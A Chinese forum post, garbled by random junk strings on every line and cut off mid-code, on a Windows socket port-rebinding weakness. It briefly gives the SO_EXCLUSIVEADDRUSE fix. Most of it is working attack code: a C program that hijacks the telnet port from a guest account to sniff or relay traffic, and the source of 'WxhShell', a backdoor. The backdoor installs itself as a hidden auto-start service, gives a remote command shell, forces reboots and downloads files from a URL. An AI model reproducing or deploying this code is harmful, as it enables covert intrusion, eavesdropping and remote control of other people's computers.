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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2H0BNrYM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EU>`$M&w-  
;,e16^\' &  
  saddr.sin_family = AF_INET; B /w&Lo  
"tl$JbRTY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t*-c X  
x#N_h0[i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yjMN>L'  
deVnAu =  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y+w,j]  
{j;` wN  
  这意味着什么?意味着可以进行如下的攻击: w= n(2M56C  
J 7G-qF\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tq3Rc}  
%>_6&A{K,d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %=Z/Frd  
j*Pq<[~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MpGG}J[y  
j7Ts&;`[*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rUmP_  
FMI1[|:;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lw[c+F7  
FKu8R%9xn%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ed}#S~4q  
Y&8,f|{R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VN`fZ5*d~  
rQ_@q_B.  
  #include %lWOW2~R  
  #include # Q,EL73;  
  #include X<Z(,B  
  #include    3X11Gl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R3l{.{3p2  
  int main() zxCx2.7  
  { $7c,<=  
  WORD wVersionRequested; 3\Q9>>  
  DWORD ret; /e?0Iv" 8>  
  WSADATA wsaData; dt,Z^z+" E  
  BOOL val; ~IjID  
  SOCKADDR_IN saddr; _p+E(i 9  
  SOCKADDR_IN scaddr; 5Gy#$'kdf  
  int err; "t(_r@qU/  
  SOCKET s; f$:SacF  
  SOCKET sc; X~c?C-fV  
  int caddsize; 9J?s:"j  
  HANDLE mt; C!Srv 7  
  DWORD tid;   \3^ue0  
  wVersionRequested = MAKEWORD( 2, 2 ); 1O NkmVtL  
  err = WSAStartup( wVersionRequested, &wsaData ); gCC7L(1  
  if ( err != 0 ) { t(-,mw  
  printf("error!WSAStartup failed!\n"); htR.p7&Tn  
  return -1; p/VVb%  
  } u;-fG9xs  
  saddr.sin_family = AF_INET; xlu4  
   n+hL/aQ+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \|HNFxT`  
.6azUD4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <?5|(Q"@:  
  saddr.sin_port = htons(23); C-;w}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uW[[8+t|  
  { JHvev,#4  
  printf("error!socket failed!\n"); kVs YB  
  return -1; OM&GypP6&  
  } 4d4+%5GE  
  val = TRUE; ] 2qKc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M?%x= q\<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9g5h~ Ma  
  { = a60Xv  
  printf("error!setsockopt failed!\n"); -[ gT}{k!  
  return -1; -Z$u[L [c  
  } aE 9Y |6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =!^ gQ0~4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QO(F%&v++  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !p/?IW+  
?`rAO#1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -|uoxj>  
  { `>)Ge](oN  
  ret=GetLastError(); R=LiB+p  
  printf("error!bind failed!\n"); 35e{{Gn)v  
  return -1; vBl:&99[/  
  } -LszaMR}  
  listen(s,2); xi(\=LbhY  
  while(1) o25rKC=o  
  { Lm2) 3;ei  
  caddsize = sizeof(scaddr); UWvVYdy7  
  //接受连接请求 -R:_o1"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cS9jGD92  
  if(sc!=INVALID_SOCKET) @|DQZt  
  { Coe/4! $M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mQ"uG?NE  
  if(mt==NULL) pLtw|S'4  
  { 2icQ (H;  
  printf("Thread Creat Failed!\n"); e@W+ehx"  
  break; M lR~`B}m  
  } /z*Z+OT2  
  } O.(2  
  CloseHandle(mt); +K`A2&F9  
  } ~s'tr&+  
  closesocket(s); 4A!]kj 5T  
  WSACleanup(); jTcv&`fAz  
  return 0; ZDW=>}~_y  
  }   ;x/eb g  
  DWORD WINAPI ClientThread(LPVOID lpParam) <4q H0<  
  { V9BW@G@9  
  SOCKET ss = (SOCKET)lpParam; <SI|)M,, 3  
  SOCKET sc; V+O,y9  
  unsigned char buf[4096]; 6~x'~T  
  SOCKADDR_IN saddr; 2]]v|Z2M4  
  long num; P$#:$U @  
  DWORD val; PVBz~rG  
  DWORD ret; ~E7IU<B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =,#--1R7g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d/&> `[i  
  saddr.sin_family = AF_INET; I1U2wD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Z7QD8N  
  saddr.sin_port = htons(23); Tz,9>uN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -PE_qZ^  
  { Zob/H+]  
  printf("error!socket failed!\n"); hcj}6NXc  
  return -1; tO3R&"{  
  } S-7&$n  
  val = 100; _NsEeKU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K8sRan[4}  
  { ~I@ls Ch  
  ret = GetLastError(); '% QCNO/  
  return -1; vyIH<@@p7  
  } E>|X'I?r^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *(F`NJ 3  
  { WYUDD_m  
  ret = GetLastError(); mOsp~|d  
  return -1; =Nxkr0])!  
  } WQ.0}n}d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0<-E)\:[g  
  { F+V!p4G  
  printf("error!socket connect failed!\n"); L>h8>JvQ  
  closesocket(sc); d}[cX9U/  
  closesocket(ss); -SrZ^  
  return -1; F^ 75y?  
  } 0 Uropam  
  while(1) o3fc-  
  { "s(~k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :pqUUZ6x&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,KW Q 6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9qB0F_xl  
  num = recv(ss,buf,4096,0); 5*pzL0,Y  
  if(num>0) 3S:Lce'f  
  send(sc,buf,num,0); :hX[8u  
  else if(num==0) qq| 5[I.?  
  break; `GCoi ?n7  
  num = recv(sc,buf,4096,0); "tzu.V-  
  if(num>0) 9Rnypzds  
  send(ss,buf,num,0); }aVZ\PDg  
  else if(num==0) 6QX m] <  
  break; `OBzOM  
  } kt/,& oKI  
  closesocket(ss); s{Z)<n03  
  closesocket(sc); Rqh5FzB>  
  return 0 ; D0r viO  
  } 147QB+cE  
R-13DVK  
f<Hi=Qpm  
========================================================== li r=0oq<  
T }}2J/sj  
下边附上一个代码,,WXhSHELL '+PKGmRW  
5`QcPDp{z  
========================================================== t;e&[eg  
M6)  G_-  
#include "stdafx.h" lM6pYYEq=  
Gmz^vpQ]t  
#include <stdio.h> ai{>rO3 }I  
#include <string.h> l#'V SFm&  
#include <windows.h> to'7o8Z  
#include <winsock2.h> +3)r szb72  
#include <winsvc.h> 'r?ULft1  
#include <urlmon.h> ~zqb{o^pT  
?l0eU@rwQ  
#pragma comment (lib, "Ws2_32.lib") E7:xPNU  
#pragma comment (lib, "urlmon.lib") =:- fK-d  
 )(G9[DG  
#define MAX_USER   100 // 最大客户端连接数 K3yQ0k |  
#define BUF_SOCK   200 // sock buffer 8D='N`cN+  
#define KEY_BUFF   255 // 输入 buffer ?h= n5}Y  
{>f"&I<xw  
#define REBOOT     0   // 重启 nI\6a G?`  
#define SHUTDOWN   1   // 关机 6>a6;[  
2B ]q1>a!  
#define DEF_PORT   5000 // 监听端口 > N~8#C  
35<A :jKS  
#define REG_LEN     16   // 注册表键长度 }aZuCe_  
#define SVC_LEN     80   // NT服务名长度 O$,F ga  
q&3 ;e4  
// 从dll定义API u^" I3u8$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <RGH+4LF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r;#"j%z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v/+ <YU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #,%bW[L<N  
^#9385  
// wxhshell配置信息 1 /. BP  
struct WSCFG { *]$B 9zVs!  
  int ws_port;         // 监听端口 {q-&!l|  
  char ws_passstr[REG_LEN]; // 口令 {213/@,  
  int ws_autoins;       // 安装标记, 1=yes 0=no <xI<^r'C9e  
  char ws_regname[REG_LEN]; // 注册表键名 SH%NYjj  
  char ws_svcname[REG_LEN]; // 服务名 VW-qQe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hyI7X7Hy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bn}woyJdx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hbw(o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !GcBNQ1p+7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <LHhs <M'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OW7  
<!OBpAq  
}; c4Ebre-Oa  
d>QFmsh-  
// default Wxhshell configuration ,"v&r(  
struct WSCFG wscfg={DEF_PORT, "-~ 7lY%  
    "xuhuanlingzhe", #@R0$x  
    1, kpm;ohd  
    "Wxhshell", l/.{F;3F  
    "Wxhshell", u#0snw~)/  
            "WxhShell Service", ij" ~]I  
    "Wrsky Windows CmdShell Service", ~iL^KeAp   
    "Please Input Your Password: ", FK%b@/7s~  
  1, ^HKXm#vAB  
  "http://www.wrsky.com/wxhshell.exe", RRL{a6(?  
  "Wxhshell.exe" iC"iR\Qu  
    }; LrB 0x>  
"Ep"$d  
// 消息定义模块 CIudtY(:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2HX/@ERhmu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B*,6;lCjX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?uWUs )9  
char *msg_ws_ext="\n\rExit."; honh 'j  
char *msg_ws_end="\n\rQuit."; )U/jD  
char *msg_ws_boot="\n\rReboot..."; ]C_+u_9  
char *msg_ws_poff="\n\rShutdown..."; iRQ!J1SGcG  
char *msg_ws_down="\n\rSave to "; #:K=zV\  
T{{:p\<]_  
char *msg_ws_err="\n\rErr!"; t{md&k4  
char *msg_ws_ok="\n\rOK!"; $:9t(X)H  
m1$tf ^  
char ExeFile[MAX_PATH]; <c+.%ka  
int nUser = 0; o Pe|Gfv\G  
HANDLE handles[MAX_USER]; ~?Zib1f)  
int OsIsNt; Et=Pr+Q{c  
X\^V{v^-  
SERVICE_STATUS       serviceStatus; #]` uH{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |]\zlH"w  
WAu>p3   
// 函数声明 l;-Ml{}|0  
int Install(void); 01cBAu   
int Uninstall(void); |T:R.=R$~  
int DownloadFile(char *sURL, SOCKET wsh); VotC YJ  
int Boot(int flag); J8ni}\f  
void HideProc(void); V_7\VKR  
int GetOsVer(void);  N' hT  
int Wxhshell(SOCKET wsl); Dqy`7?Kn  
void TalkWithClient(void *cs); (0-Ol9[  
int CmdShell(SOCKET sock); I)rnF  
int StartFromService(void); qng ~,m  
int StartWxhshell(LPSTR lpCmdLine); y`I>|5[ `  
+%dXB&9x|Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \xYVnjG,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?f?5Kye  
C'6I< YX  
// 数据结构和表定义 '$ei3  
SERVICE_TABLE_ENTRY DispatchTable[] = YxF@1_g  
{ sd%j&Su#4  
{wscfg.ws_svcname, NTServiceMain}, (7 I|lf e  
{NULL, NULL} xSY"Ru  
}; 0 R6:3fV6R  
?sN{U\  
// 自我安装 U1\7Hcs$  
int Install(void) 4 m:h&^`N  
{ X[BP0:`t  
  char svExeFile[MAX_PATH]; gInh+XZs  
  HKEY key; s.J 4&2Q  
  strcpy(svExeFile,ExeFile); c^}y9% 4c  
80lei  
// 如果是win9x系统,修改注册表设为自启动 R%UTYRLUn  
if(!OsIsNt) {  -WC0W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,#Z%0NLe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aOD h5  
  RegCloseKey(key); pz%s_g'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Af3|l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3$?6rMl@y  
  RegCloseKey(key); cBxGGggB  
  return 0; ?I+L  
    } )/RG-L  
  } 4'QX1p  
} uw;Sfx,s  
else { VF`!ks  
5B=uvp|Y  
// 如果是NT以上系统,安装为系统服务 >|taU8^|G}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YR?Y:?(  
if (schSCManager!=0) T$;S   
{ ';C'9k<P:  
  SC_HANDLE schService = CreateService sfF~k-  
  ( ibkB>n{(  
  schSCManager, U,g8:M xHK  
  wscfg.ws_svcname, wJC[[_"3 I  
  wscfg.ws_svcdisp, ^r~[ 3NT  
  SERVICE_ALL_ACCESS,  ?eS;Yc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EGXvz)y  
  SERVICE_AUTO_START, =B}IsBn'J  
  SERVICE_ERROR_NORMAL, K(;qd Ir  
  svExeFile, m23"xnRB  
  NULL, M}8P _<,  
  NULL, 2!#g\"  
  NULL, q T6y&  
  NULL, Tg{5%~L]   
  NULL 'K7\[if{  
  ); &gCGc?/R#  
  if (schService!=0) y3~`qq  
  { f@i#Znkf*?  
  CloseServiceHandle(schService); n0KpKH<&  
  CloseServiceHandle(schSCManager); ,L& yKS@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KA2>[x2  
  strcat(svExeFile,wscfg.ws_svcname); 8pnD6Lp>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *w0!C:mL&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +[76_EXy  
  RegCloseKey(key); ]IV{;{E)  
  return 0; x}/jh  
    } JSL&` `  
  } }#ink4dK:  
  CloseServiceHandle(schSCManager); t3)6R(JC  
} lOm01&^"E  
} H_&to3b(  
jg]KE8(  
return 1; h*Fv~j'p  
} ^yW['H6V  
. 1kB8&}  
// 自我卸载 OBWb0t5H?  
int Uninstall(void) 'I,a 29  
{ +La2-I  
  HKEY key; uE1;@Dm+  
B_[efM<R$  
if(!OsIsNt) { %9cT#9!7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cKTjQJ#  
  RegDeleteValue(key,wscfg.ws_regname); wO]e%BTO  
  RegCloseKey(key); v]EMJm6d|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j|KDgI<0  
  RegDeleteValue(key,wscfg.ws_regname); oJA_" xp  
  RegCloseKey(key); }+@!c%TCx~  
  return 0; /9br&s$B  
  } KKC%!Xy  
} F!z ^0+H(  
} 2E1`r@L  
else { f2e;N[D  
D$>!vD'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t=B1yvE "  
if (schSCManager!=0) I8XP`Ccq  
{ ^6 wWv&G[8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sU>IETo  
  if (schService!=0) P*KIk~J  
  { t+v %%N_  
  if(DeleteService(schService)!=0) { o< @![P  
  CloseServiceHandle(schService); rd7p$e=i  
  CloseServiceHandle(schSCManager); -Cyo2wk  
  return 0; {py%-W  
  } O}i+ 1  
  CloseServiceHandle(schService); _eGYwBm  
  } C:J frg`  
  CloseServiceHandle(schSCManager); YrnC'o`  
} DgT]Nty@b  
} 5Npxs&Ea  
>ZJ]yhbhK  
return 1; T +vo)9w  
} x'g4DYl  
-J3~j kf  
// 从指定url下载文件 *H!BThft4  
int DownloadFile(char *sURL, SOCKET wsh) 'LMj.#A<g  
{ *QQeK# $s  
  HRESULT hr; /0}Z>i K  
char seps[]= "/"; x=cucZ  
char *token; i D9 */  
char *file; ]In7%Qb  
char myURL[MAX_PATH]; h^g0|p5  
char myFILE[MAX_PATH]; j&X&&=   
^=eC1 bQA  
strcpy(myURL,sURL); u)<]Pb})r  
  token=strtok(myURL,seps); D% jGK  
  while(token!=NULL) G4'Ia$  
  { pa46,q&M  
    file=token; ah*{NR)  
  token=strtok(NULL,seps); ?9t4>xKn  
  } 1 tOslP@  
v#x`c_  
GetCurrentDirectory(MAX_PATH,myFILE); t+a.,$U  
strcat(myFILE, "\\"); ^i|R6oO_5  
strcat(myFILE, file);  %W~w\mT  
  send(wsh,myFILE,strlen(myFILE),0); SV o?o|<  
send(wsh,"...",3,0); x/?ET1iGt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); - )(5^OQ  
  if(hr==S_OK) X&WP.n)  
return 0; Z5Lmg  
else fHd[8{;P:  
return 1; :|n[zjK/S  
{.2\}7.c  
}  2yJ{B   
2VRGTx  
// 系统电源模块 R%KF/1;/  
int Boot(int flag) b*Y Wd3  
{ di/Q Jrw  
  HANDLE hToken; US$$ADq  
  TOKEN_PRIVILEGES tkp; PcC@}3  
R ABw( b  
  if(OsIsNt) { Tc(=J7*r&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dizz ?O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nh4G;qdU  
    tkp.PrivilegeCount = 1; 7_\F$bp`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P7F"#R0QB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I(^0/]'  
if(flag==REBOOT) { k&ooV4#f6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +51heuu[o  
  return 0; )'~Jsg-  
} 4`i8m  
else { )I&.6l!#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~)f^y!PMQ  
  return 0; ./ {79  
} Kn:Ml4[;  
  } #DgHF*GG+>  
  else { e%cTFwX?n  
if(flag==REBOOT) { 3SIq od;%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :V.@:x>id  
  return 0; 8GP17j  
} $~1vXe  
else { ketp9}u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bVzi^R"  
  return 0; }O*`I(  
} @?<[//1  
} T)gulP  
^7y t>  
return 1; 3`cA!ZVQ  
} GCJ[xn(_  
srf}+>u&  
// win9x进程隐藏模块 u0L-xC$L  
void HideProc(void) s21} a,eB  
{ 67iI wY*8'  
!Q[v"6?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y2I7Zd .  
  if ( hKernel != NULL ) rD=D.1_   
  { -g~+9/;n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); . f_ A%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \<pr28  
    FreeLibrary(hKernel); y;ElSt;S  
  } :C>7HEh-2_  
 ;v.[aq  
return; i3,.E]/wX@  
} KZjh<sjX|  
~bZ =]i  
// 获取操作系统版本 0 cycnOd  
int GetOsVer(void) nmU1xv_  
{ '|4+< #  
  OSVERSIONINFO winfo; {[2o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5z_d$.CIc  
  GetVersionEx(&winfo); >S I'Q7k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M,fL(b;2  
  return 1; n.+'9Fj  
  else wS}c \!@<,  
  return 0; o^/ #i`)  
} ZwDL  
lfj5?y  
// 客户端句柄模块 OL 0YjU@  
int Wxhshell(SOCKET wsl) fF)Q;~_VA  
{ bKpy?5&>  
  SOCKET wsh; +b-ON@9]J`  
  struct sockaddr_in client; cp@Fj"  
  DWORD myID; 2Xl+}M.:Y  
j+h+Y|4J  
  while(nUser<MAX_USER) hty'L61\z  
{ fLe~X!#HF  
  int nSize=sizeof(client); zz*PAYl.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [8 Pt$5]^  
  if(wsh==INVALID_SOCKET) return 1; :dt[ #  
_<c"/B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ARu_S B  
if(handles[nUser]==0) s-IE}I?;  
  closesocket(wsh); ts~VO`  
else {\(G^B*\  
  nUser++; C*2%Ix18+N  
  } fi HE`]0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2?~nA2+vm  
$YX{gk>  
  return 0; 6X@z(EEL  
} 'u<e<hU  
G^Gs/- f  
// 关闭 socket U"7o;q  
void CloseIt(SOCKET wsh) X_2N9$},  
{ )P(S:x'b0  
closesocket(wsh); v8-My1toV  
nUser--;  Lw\u{E@  
ExitThread(0); } [#8>T  
} NIQ}A-b  
XKTDBaON  
// 客户端请求句柄 {}$rN@OM$  
void TalkWithClient(void *cs) "\@J0 |ppb  
{ Ve(<s  
+S{m!j%B  
  SOCKET wsh=(SOCKET)cs; $jMA(e`Ye0  
  char pwd[SVC_LEN]; Tm`@5  
  char cmd[KEY_BUFF]; 6 >)fNCe`  
char chr[1]; >2s6Y  
int i,j; vNw(hT5750  
vt5w(}v(  
  while (nUser < MAX_USER) { )(]rUJ~+~A  
c$  /.Xp  
if(wscfg.ws_passstr) { 4dbX!0u1l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Z/iYHv~#c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b*Qd9  
  //ZeroMemory(pwd,KEY_BUFF); x~5,v5R^]  
      i=0; sGY}(9ED;  
  while(i<SVC_LEN) { p-"C^=l  
\Hp!NbnF$  
  // 设置超时 T)e2IXGN  
  fd_set FdRead; >IS4  
  struct timeval TimeOut; fR[8O\U~  
  FD_ZERO(&FdRead); J~K O#`  
  FD_SET(wsh,&FdRead); c $1u  
  TimeOut.tv_sec=8; JAHg_!  
  TimeOut.tv_usec=0; U1:m=!S;x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WuE]pm]c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); } `L;.9  
=-oP,$k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yr},pB  
  pwd=chr[0]; p^Ey6,!8]D  
  if(chr[0]==0xd || chr[0]==0xa) { GgE g(AT  
  pwd=0;  z/91v#}.  
  break; yr+QV:oVA  
  } zmQQ/ 7K  
  i++; 8(n>99 VVK  
    } [,U l  
_i ztQ78  
  // 如果是非法用户,关闭 socket p8 S~`fjV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (72%au  
} Mc c%&j  
.*N,x(V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9 5!xJdq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ED8{  
(tA[]ne2  
while(1) { +On2R&m  
imADjBR]  
  ZeroMemory(cmd,KEY_BUFF); 1CJ1-]S(3  
Lf9s'o}.R  
      // 自动支持客户端 telnet标准   NCg("n,jx  
  j=0; iJh{ ,0))g  
  while(j<KEY_BUFF) { `}t5`:#k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NdJ]\>5oN,  
  cmd[j]=chr[0]; r2f%E:-0G  
  if(chr[0]==0xa || chr[0]==0xd) { JVg}XwR  
  cmd[j]=0; #.u &2eyqQ  
  break; {KSLB8gtL  
  } roZn{+f  
  j++; F$i50s  
    } WS&a9!3;  
V+y|C[A F  
  // 下载文件 .Od@i$E>&  
  if(strstr(cmd,"http://")) { E<LH-_$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V?t*c [  
  if(DownloadFile(cmd,wsh)) &u9,|n]O9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ipu~T)}  
  else A PSkW9H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,&,XcbJ  
  } IV&5a]j  
  else { :{eYm|2-  
sz%]rN6$  
    switch(cmd[0]) { 4NRj>y  
  E @r &K  
  // 帮助 Lwtp,.)pR  
  case '?': { I5j|\ /Ht  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -c8h!.Q$  
    break; "uZ^zV`"  
  } <>5n;-  
  // 安装 k_1;YO BF  
  case 'i': { VSO(DCr"L  
    if(Install()) maSVqG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KY2z)#/  
    else cC9Zc#aK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 86KK Y2  
    break; %*q^i}5)E  
    } l^tRy_T:-  
  // 卸载 Z[ !kEW  
  case 'r': { bOYM-\ {y  
    if(Uninstall()) dM}c-=w`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u=PLjrB~}  
    else 8fQfu'LyjY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fM& fqI  
    break; ) F -8  
    } wtL=^  
  // 显示 wxhshell 所在路径 ~"bBwPI  
  case 'p': { Cw!tB1D  
    char svExeFile[MAX_PATH]; HXh:8 3  
    strcpy(svExeFile,"\n\r"); (3K,f4S@  
      strcat(svExeFile,ExeFile); /^K-tz-R  
        send(wsh,svExeFile,strlen(svExeFile),0); \0i0#Dt9  
    break; ;fQIaE&H  
    } "\lO Op^-  
  // 重启 *k&V;?x|wt  
  case 'b': { 6[FXgCb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n[;)(  
    if(Boot(REBOOT)) C!K&d,M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ya jAz5N  
    else { ( ?e Et&  
    closesocket(wsh); jU 3ceXV  
    ExitThread(0); ijcF[bm E  
    } K{Nj-Rqd  
    break; @G>e Cj  
    } B)d 4]]4\\  
  // 关机 T#e|{ZCbq  
  case 'd': { N3Q .4? z9  
